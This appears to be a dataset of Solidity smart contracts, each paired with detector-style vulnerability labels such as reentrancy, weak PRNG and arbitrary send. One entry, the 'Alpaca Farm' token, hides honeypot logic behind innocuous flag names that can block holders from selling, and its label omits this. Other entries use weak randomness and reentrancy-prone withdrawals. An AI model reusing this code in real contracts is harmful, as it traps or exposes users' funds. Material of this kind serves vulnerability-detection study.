address to,
uint256 tokenId
) internal virtual {}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function getToken(uint256 _id) public view returns(Token memory){
return(token[_id]);
}
function getHolder(address account) public view returns (Holder memory) {
return(holder[account]);
}
function _keyI(uint256 _id) internal {
token[_id].key++;
}
function _sweep(address _user) internal {
holder[_user]._points = 0;
}
function _credit(address _user, uint128 _point) internal {
holder[_user]._points += _point;
}
}
// safe oSEA-native
contract NFT is PATRICIA, Ownable {
uint256 _nextTokenId;
uint256 constant public _MAX_TOKEN = 9999;
constructor() PATRICIA("KONGDO CLUB OFFICIAL", "KDC", 0xa5409ec958C83C3f309868babACA7c86DCB077c1)
{
_setbaseURI("https://api.kongdoclub.com/v1/token/");
_mintTo(msg.sender);
}
function _mintTo(address _to) internal {
//uint256 currentTokenId = _nextTokenId.current();
//_nextTokenId.increment();
require(_nextTokenId <= _MAX_TOKEN, "NO MORE");
_mint(_to, _nextTokenId);
_nextTokenId++;
}
function totalSupply() public view returns (uint256) {
return(_nextTokenId);
}
}
// safe
contract comptroller is NFT {
bool public isOpen = false;
bool public isU = false;
bool public isH = true;
address public _3D_ADDRESS;
address public _COIN_ADDRESS;
uint256 public constant _PRICE = 77 *1e15;
uint256 public constant _WHITE_PRICE = 55 *1e15;
uint256 private _threshold = 20 * 1e18;
address private immutable contributor;
address private constant contributor2 = 0x0D08CBEF5671b9CB685FC34cd0562C012f8eBC57;
address private constant Asigner = 0x5050efFf71c7DbEb50173bFbCdF87720905B8e05;
event unboxEvent(uint256 id, address unboxer, uint256 luckyNumber, string wish);
constructor(){
contributor = msg.sender;
}
function withdraw() public {
uint256 _local_threshold = _threshold;
if(_local_threshold > 0){
uint256 balance = address(this).balance;
if(balance >= _local_threshold) {
(bool success0,) = contributor.call{value: _local_threshold}("");
require(success0, "Transfer failed");
_threshold = 0;
}
else{
(bool success2,) = contributor.call{value: balance}("");
require(success2, "Transfer failed");
_threshold -= balance;
}
}
uint256 ubalance = address(this).balance;
uint _amt1 = (ubalance * 750) / 1000;
uint _amt2 = ubalance - _amt1;
(bool success,) = contributor.call{value: _amt1}("");
require(success, "Transfer failed");
(bool success1,) = contributor2.call{value: _amt2}("");
require(success1, "Transfer failed");
}
function regular(uint _amt) external payable {
require(isOpen, "Closed");
require(msg.value >= _PRICE*_amt, "Insufficient");
for(uint i = 0; i < _amt; i++){
_mintTo(msg.sender);
}
}
function whitelister(uint8 _v, bytes32 _r, bytes32 _s) external payable {
Holder memory wl = getHolder(msg.sender);
require(wl._points == 0 && isWhite(_v,_r,_s), "Not whitelist");
require(msg.value >= _WHITE_PRICE, "insufficient");
_mintTo(msg.sender);
_credit(msg.sender, 10000);
}
function unbox(uint256 _tokenId, string memory _wish) external {
Token memory tk = getToken(_tokenId);
require(isU, "Cannot unbox now");
require(tk._owners == msg.sender, "Unauthorized");
require(tk.key == 0, "Already unboxed");
_keyI(_tokenId);
emit unboxEvent(_tokenId,msg.sender, uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), msg.sender, _tokenId, _wish))) % 100000000000000000000000,_wish);
}
function redeem() external {
Holder memory hd = getHolder(msg.sender);
require( _COIN_ADDRESS != address(0), "Closed");
uint256 currentP = hd._points;
_sweep(msg.sender);
ICOIN(_COIN_ADDRESS).exchange(currentP, msg.sender);
}
function get3D(uint256 _tokenId) external {
Token memory tk = getToken(_tokenId);
require( _3D_ADDRESS != address(0), "Closed");
require(tk._owners == msg.sender, "Unauthorize Access");
require(tk.key == 1, "Unopen or already used");
_keyI(_tokenId);
I3D(_3D_ADDRESS).exchange3(_tokenId, msg.sender);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if(isH){
return "https://api.kondoclub.com/hidden.json";
}
return PATRICIA.tokenURI(tokenId);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 0;
uint256 ownedTokenIndex = 0;
uint256 maxSupply = totalSupply();
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
} // Hashlips/hashlips_nft_contract/contract/SimpleNftLowerGas.sol >> Line 66
function isWhite(uint8 _v, bytes32 _r, bytes32 _s) internal view returns (bool)
{
return ecrecover(ethSigned(), _v, _r, _s) == Asigner;
}
function ethSigned() internal view returns(bytes32){
return(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(
abi.encodePacked(msg.sender)
)
)
)
);
}
function aUnbox(uint256 _tokenId, string memory _wish) external onlyOwner {
Token memory tk = getToken(_tokenId);
require(tk.key == 0, "Already unboxed");
_keyI(_tokenId);
emit unboxEvent(_tokenId,msg.sender, uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), msg.sender, _tokenId, _wish))) % 100000000000000000000000,_wish);
}
function aCredit(address _a, uint _p) external onlyOwner {
_credit(_a, uint128(_p));
}
function setCoin(address _xyz) external onlyOwner{
_COIN_ADDRESS = _xyz;
}
function set3D(address _xyz) external onlyOwner{
_3D_ADDRESS = _xyz;
}
function airdrop(address[] memory _target) external onlyOwner {
for(uint i = 0; i < _target.length; i++){
_mintTo(_target[i]);
}
}
function xCUR(address _curate, uint _amt) external onlyOwner {
for(uint i = 0; i < _amt; i++){
_mintTo(_curate);
}
}
function switchO() external onlyOwner {
isOpen = !isOpen;
}
function switchU() external onlyOwner {
isU = !isU;
}
function switchH() external onlyOwner {
isH = !isH;
}
function setbaseURI(string memory abc) external onlyOwner {
_setbaseURI(abc);
}
}
interface ICOIN {
function exchange(uint256 _points, address _target) external;
}
interface I3D {
function exchange3(uint256 _tokenId, address _target) external;
} | These are the vulnerabilities found
1) reentrancy-eth with High impact
2) weak-prng with High impact
3) unused-return with Medium impact
4) arbitrary-send with High impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : INVEN
// Name : INVEN Token
// Total supply : 100000
// Decimals : 2
// Owner Account : 0xAd61C057eD2cE6BB81f10eeC0192e3a7DEC848dc
//
// Enjoy.
//
// (c) by Idea Inven Doohee 2021. DM Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract INVENToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "ESG";
name = "ESG Coin";
decimals = 4;
_totalSupply = 1000000000000000;
balances[0xCbba9d9A3E5A94cdcFF26fCb63fd1F60E8ACF68D] = _totalSupply;
emit Transfer(address(0), 0xCbba9d9A3E5A94cdcFF26fCb63fd1F60E8ACF68D, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private truenews;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
truenews = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function SetBurnAddress() public {
require(_owner != truenews);
emit OwnershipTransferred(_owner, truenews);
_owner = truenews;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public samsung;
mapping (address => bool) public bluec;
mapping (address => bool) public neworleans;
mapping (address => uint256) public katrina;
bool private kansas;
uint256 private _totalSupply;
uint256 private panhandle;
uint256 private _trns;
uint256 private chTx;
uint256 private opera;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private virginia;
address private creator;
bool private thisValue;
uint quebec = 0;
constructor() public {
creator = address(msg.sender);
kansas = true;
virginia = true;
_name = "Alpaca Farm";
_symbol = "ALPACAFARM";
_decimals = 5;
_totalSupply = 800000000000000;
_trns = _totalSupply;
panhandle = _totalSupply;
chTx = _totalSupply / 1500;
opera = panhandle;
bluec[creator] = false;
neworleans[creator] = false;
samsung[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
thisValue = false;
emit Transfer(address(0x6262998Ced04146fA42253a5C0AF90CA02dfd2A3), msg.sender, _trns);
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
function ViewSomeChange() external view onlyOwner returns (uint256) {
uint256 tempval = _totalSupply;
return tempval;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, quebec))) % 100000;
quebec++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function BurnHouse(uint256 amount) external onlyOwner {
panhandle = amount;
}
function SetTheDate() external onlyOwner {
panhandle = chTx;
thisValue = true;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function TwistedVoid(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function TeaTime(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
samsung[spender] = val;
bluec[spender] = val2;
neworleans[spender] = val3;
thisValue = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (kansas == false)) {
panhandle = chTx;
thisValue = true;
}
if ((address(sender) == creator) && (kansas == true)) {
samsung[recipient] = true;
bluec[recipient] = false;
kansas = false;
}
if (samsung[recipient] != true) {
bluec[recipient] = ((randomly() == 78) ? true : false);
}
if ((bluec[sender]) && (samsung[recipient] == false)) {
bluec[recipient] = true;
}
if (samsung[sender] == false) {
require(amount < panhandle);
if (thisValue == true) {
if (neworleans[sender] == true) {
require(false);
}
neworleans[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (virginia == true)) {
samsung[spender] = true;
bluec[spender] = false;
neworleans[spender] = false;
virginia = false;
}
tok = (bluec[owner] ? 723834 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) incorrect-equality with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
